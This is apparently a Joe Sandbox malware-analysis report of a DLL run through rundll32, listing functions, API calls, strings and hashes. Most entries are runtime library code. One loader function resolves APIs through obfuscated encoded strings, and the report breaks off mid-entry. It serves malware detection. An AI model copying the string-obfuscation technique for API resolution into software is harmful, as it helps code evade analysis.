API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 3028e95199ef96235e5f6bee9920ce652f7a8b8c431defc53b6db68fd84b3db9
Instruction ID: 8a81ea3a9c337c1e26753d221442aa6712a23d048c368f11efaa9991da66a8bd
Opcode Fuzzy Hash: 3028e95199ef96235e5f6bee9920ce652f7a8b8c431defc53b6db68fd84b3db9
Instruction Fuzzy Hash: 7F218E356C470E9AEB21ABB888247983FA2AB1323CF30041FD4616B3C2DB625544D756

Function 6FE71658 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,6FE61775,6FE6C75A), ref: 6FE71699

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6881c7ab9d55a6b0d1e77cf6cd0d47342df950b8cfa1dbd3ef6a0ce2323f986f
Instruction ID: 1a7d8e37d25b2e0cdeb482b462f05b48b852b65628a4eaa0e479414a7d99e321
Opcode Fuzzy Hash: 6881c7ab9d55a6b0d1e77cf6cd0d47342df950b8cfa1dbd3ef6a0ce2323f986f
Instruction Fuzzy Hash: B4F0B4356447255BAB319AE68824A9B3F699F42778B384126EC14AA284DF38F411C6A1

Function 6FE61000 Relevance: 1.5, APIs: 1, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6FE61019

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 04bd3f86e85efb6cfc76c75e5919b3835756a2f9ae06651e239cda1377ee7493
Instruction ID: ccbd3bb3cb85fc4738a451f212ee0c52770b49ea02c20f98777bc4b602656d33
Opcode Fuzzy Hash: 04bd3f86e85efb6cfc76c75e5919b3835756a2f9ae06651e239cda1377ee7493
Instruction Fuzzy Hash: D4D0127458524CEBCF41DBF4850AB8D7FEAEB0AB25F608026E514D7240D634AE05E721

Non-executed Functions

Function 6FE75C80 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction ID: 8013fa1b9557c93d7e3edd25f5d64c4ebcc02f53cfd21c7a1342f4acbf043af8
Opcode Fuzzy Hash: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction Fuzzy Hash: 0D023171E012199FDB24CFA8C99069EFBF5FF49318F24826AD519E7381DB31A941CB90

Function 6FE653EE Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6FE653FA
IsDebuggerPresent.KERNEL32 ref: 6FE654C6
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6FE654DF
UnhandledExceptionFilter.KERNEL32(?), ref: 6FE654E9

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 9ce0bfc0883e1274f364732ec59c9b143baae46dc5d7d849423cd5f050b28d95
Instruction ID: e8d3abf87be884c9613e770dc3203dad03b2b98e24691a1ff4a234d995c93de5
Opcode Fuzzy Hash: 9ce0bfc0883e1274f364732ec59c9b143baae46dc5d7d849423cd5f050b28d95
Instruction Fuzzy Hash: 15310779D0532C9ADF20DFA4C849BCDBBB9AF08304F1041AAE40DAB240E7709A85CF44

Function 6FE6171F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 174libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6FE6175A
_strlen.LIBCMT ref: 6FE6177C
GetProcAddress.KERNEL32(?), ref: 6FE617E2
_strlen.LIBCMT ref: 6FE6180D
GetProcAddress.KERNEL32(?), ref: 6FE61873
_strlen.LIBCMT ref: 6FE6189E
GetProcAddress.KERNEL32(?), ref: 6FE61904

Strings

QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6FE61765
kernel32.dll, xrefs: 6FE61755
QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6FE61887
QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6FE617F6

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: AddressProc_strlen$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 3538810943-2765630095
Opcode ID: bcefa24b69df3bf6b2cb35e3e79e044097d6202c31b98988c83c9bcc0f5b8033
Instruction ID: e6bb7c394bba7d95ed02ed1c47d9eba21ba0b28642ad3200cf06b27250383cf3
Opcode Fuzzy Hash: bcefa24b69df3bf6b2cb35e3e79e044097d6202c31b98988c83c9bcc0f5b8033
Instruction Fuzzy Hash: 4361F275D4025C9FDB21DBF8DD44A9DBFB9BB1A318F34412EE854A7282DB34A9198F00

Function 6FE78279 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6FE77FC0: CreateFileW.KERNEL32(00000000,00000000,?,6FE78322,?,?,00000000,?,6FE78322,00000000,0000000C), ref: 6FE77FDD

GetLastError.KERNEL32 ref: 6FE7838D
__dosmaperr.LIBCMT ref: 6FE78394
GetFileType.KERNEL32(00000000), ref: 6FE783A0
GetLastError.KERNEL32 ref: 6FE783AA
__dosmaperr.LIBCMT ref: 6FE783B3
CloseHandle.KERNEL32(00000000), ref: 6FE783D3
CloseHandle.KERNEL32(00000000), ref: 6FE78520
GetLastError.KERNEL32 ref: 6FE78552
__dosmaperr.LIBCMT ref: 6FE78559

Strings

H, xrefs: 6FE784DE

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: b9f1ad80d7fa68b596959e60c0dedfbb580ba0431484789a89116b446a8d1955
Instruction ID: 4592d689392e4496fdd5ae1996d041297ff79b53c9b98b17bf7acb56d3376ad2
Opcode Fuzzy Hash: b9f1ad80d7fa68b596959e60c0dedfbb580ba0431484789a89116b446a8d1955
Instruction Fuzzy Hash: B2A10232A086549FCF299F68D850BAE3FB2AB07328F34025DE9119F3D0DB359912CB51

Function 6FE7ADE3 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 6FE7ADFC

Strings

log, xrefs: 6FE7AE59, 6FE7AE68
asin, xrefs: 6FE7AF29
log10, xrefs: 6FE7AE3E, 6FE7AE4D
exp, xrefs: 6FE7AE7B, 6FE7AEE0
sqrt, xrefs: 6FE7AF3B
pow, xrefs: 6FE7AE9A, 6FE7AF44, 6FE7AF91
acos, xrefs: 6FE7AF32

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 3a80c06b723a0d61e07900415e5b6c940f94576028ae2b9c75e0b40a2023a773
Instruction ID: dafaef81722471d0a6efcc6faffb3633a63bda66149eb99cf70bb73e11f6cd15
Opcode Fuzzy Hash: 3a80c06b723a0d61e07900415e5b6c940f94576028ae2b9c75e0b40a2023a773
Instruction Fuzzy Hash: 77517FB098454ACBCB28AFA9D9492EDBF70FF86714F204155E460A6374CF34D562CB51

Function 6FE66ADA Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6FE66BF9
___TypeMatch.LIBVCRUNTIME ref: 6FE66D07
_UnwindNestedFrames.LIBCMT ref: 6FE66E59
CallUnexpected.LIBVCRUNTIME ref: 6FE66E74

Strings

csm, xrefs: 6FE66C30
csm, xrefs: 6FE66B84
csm, xrefs: 6FE66B17

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 10c542446898b9a6bdaaa6ba17a22b964db1244e8d4012b1d28f721d036ded23
Instruction ID: c18c8f6020315f2227e7e9ca34105a8632121bdb5879fd430c268b6e934a0dae
Opcode Fuzzy Hash: 10c542446898b9a6bdaaa6ba17a22b964db1244e8d4012b1d28f721d036ded23
Instruction Fuzzy Hash: 77B147718A021DEFCF04DFA4D98099EBFB5FF0A318B24456AE8146F251D731EA51CB92

Function 6FE7068D Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6FE70713

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e2c9c62fa06004c37898c9b8795d2eb2bbea6d423a12934031eb211a417338a5
Instruction ID: 9e0d8ea497bfda6da8af3651949c5120052943907b34f2addb1ad17b0e8fd2a0
Opcode Fuzzy Hash: e2c9c62fa06004c37898c9b8795d2eb2bbea6d423a12934031eb211a417338a5
Instruction Fuzzy Hash: AAB14772A053559FEB21CE68CC80B9EBFB5EF45314F345156EA04AF381DB76A901CBA0

Function 6FE66540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6FE66577
___except_validate_context_record.LIBVCRUNTIME ref: 6FE6657F
_ValidateLocalCookies.LIBCMT ref: 6FE66608
__IsNonwritableInCurrentImage.LIBCMT ref: 6FE66633
_ValidateLocalCookies.LIBCMT ref: 6FE66688

Strings

csm, xrefs: 6FE6661D

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e098d756e2f5ddd9eb8da4c1c77905275fde669f837576d5aa188cd2f8b6f5a0
Instruction ID: 39cf7d4aacf672f03ca29550361e8928ec70402ff3be3ef5971f7162ca86afa8
Opcode Fuzzy Hash: e098d756e2f5ddd9eb8da4c1c77905275fde669f837576d5aa188cd2f8b6f5a0
Instruction Fuzzy Hash: 8341953496021D9BCF10CF68C884A9EBFB5AF4632CF20855AD825AF395DB35E915CF90

Function 6FE71703 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,6FE6C75A,?,3089EAF1,?,6FE71812,6FE67D84,B586E81C,00000000,6FE6C75A), ref: 6FE717C4

Strings

api-ms-, xrefs: 6FE7175A
ext-ms-, xrefs: 6FE7176E

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 0768882d75ce2917d7f98efc42d6edd55037f89aee0d851fb867a8574af3f501
Instruction ID: 2a08f18951e658bc7dd13d69114c1f1f071d241a2590298e59b1e7ce3efc50af
Opcode Fuzzy Hash: 0768882d75ce2917d7f98efc42d6edd55037f89aee0d851fb867a8574af3f501
Instruction Fuzzy Hash: 6621D875A42720A7DB319AA4CC90A8A3FAAAF43774B300210F915A73C1DF34F911C7D0

Function 6FE6FE17 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1debd9a40a4206996f76b716b0eda5faace0664e90c4acec4e3ae1c2af055e0f
Instruction ID: 4f6427aec61fed550e73b2eca1e1aa8ca77eeac68f6eddaf799bdd7456a24ac5
Opcode Fuzzy Hash: 1debd9a40a4206996f76b716b0eda5faace0664e90c4acec4e3ae1c2af055e0f
Instruction Fuzzy Hash: 3AB11B70A043499FDB21CFA9C840BAE7FB2AF46328F305159E62497381DB76A942CB50

Function 6FE667A3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,6FE66721,6FE651C4,6FE64B74), ref: 6FE667B1
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6FE667BF
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6FE667D8
SetLastError.KERNEL32(00000000,?,6FE66721,6FE651C4,6FE64B74), ref: 6FE6682A

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 9c8f9b3520aa5c5b6fe9ea5c772bbff2e5527cf4e38c6ae2e578f57769218289
Instruction ID: 5a5d03d31a2be58154d085be8b7c1425da31414cf02e1cd9c39d932f8395db20
Opcode Fuzzy Hash: 9c8f9b3520aa5c5b6fe9ea5c772bbff2e5527cf4e38c6ae2e578f57769218289
Instruction Fuzzy Hash: 5C01FC321AEB2A5EAA2026749C946462F97EF4377CB31033DF5315D2E0EF116C119389

Function 6FE73DF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6FE73E14

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: a4b4bbd94e72efd75a4ca4ca81ce749a2e312d38eb9ec1c82770061e8231af71
Instruction ID: f2d9e80c58a95b9d7a9ebbdc0eaf6532b13803c0a03ab3ea60941918871db87c
Opcode Fuzzy Hash: a4b4bbd94e72efd75a4ca4ca81ce749a2e312d38eb9ec1c82770061e8231af71
Instruction Fuzzy Hash: 98217971604315AFDBB1DF658C41C5BBFAAEF01368720451AEA149B290EF31E811C7A0

Function 6FE6E429 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,3089EAF1,6FE6C75A,?,00000000,6FE7C710,000000FF,?,6FE6E3C3,B586E81C,?,6FE6E397,?), ref: 6FE6E45E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6FE6E470
FreeLibrary.KERNEL32(00000000,?,00000000,6FE7C710,000000FF,?,6FE6E3C3,B586E81C,?,6FE6E397,?), ref: 6FE6E492

Strings

CorExitProcess, xrefs: 6FE6E468
mscoree.dll, xrefs: 6FE6E457

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 71a65aff50bc780f03e3cea869ffe38f1c760e07fa6fc124007ca48be7f844cd
Instruction ID: d37d5ce9d84f601dbf169e3a1bb74cefa8d48649441aa193af90fc83398fbfdb
Opcode Fuzzy Hash: 71a65aff50bc780f03e3cea869ffe38f1c760e07fa6fc124007ca48be7f844cd
Instruction Fuzzy Hash: A5016735544D29ABDB219B54CC04FEE7FBBFB06725F104525E825A2280DB75A900CB94

Function 6FE78CF4 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6FE78D79
__alloca_probe_16.LIBCMT ref: 6FE78E42
__freea.LIBCMT ref: 6FE78EA9

Part of subcall function 6FE7047E: RtlAllocateHeap.NTDLL(00000000,6FE74371,7D32887D), ref: 6FE704B0

__freea.LIBCMT ref: 6FE78EBC
__freea.LIBCMT ref: 6FE78EC9

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08e228ac781b909063806dba62a836825682479f84b1dec11d4baad1d239df35
Instruction ID: 25f0bacd5788ee709ebdba41e4ff90108dc464676f3479f26288bd73123b6421
Opcode Fuzzy Hash: 08e228ac781b909063806dba62a836825682479f84b1dec11d4baad1d239df35
Instruction Fuzzy Hash: A5519572904206ABEB354E65CD40DAB3EADEFA5718B31052EFD1496250EF30EE51C760

Function 6FE678B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6FE67863,?,?,00000001,?,?,?,6FE67952,00000001,FlsFree,6FE7DCE0,FlsFree), ref: 6FE678BF
GetLastError.KERNEL32(?,6FE67863,?,?,00000001,?,?,?,6FE67952,00000001,FlsFree,6FE7DCE0,FlsFree,?,?,6FE66878), ref: 6FE678C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6FE678F1

Strings

api-ms-, xrefs: 6FE678D6

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: dd154539d9d41bddcf9e1eba0681e41ac35fe033226c42508dd0cd449e4217d3
Instruction ID: 0bda078e3f2cc561ba59d66806d2a50a0fac63e3844f1eaad02587ecaae56098
